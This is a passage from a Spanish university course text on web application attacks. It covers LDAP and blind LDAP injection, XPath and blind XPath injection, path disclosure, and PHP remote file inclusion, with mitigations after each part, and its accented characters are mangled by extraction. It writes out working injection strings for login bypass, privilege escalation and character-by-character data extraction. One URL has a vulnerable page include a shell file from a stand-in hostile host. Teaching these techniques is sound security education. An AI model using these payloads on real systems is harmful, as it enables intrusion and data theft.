pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

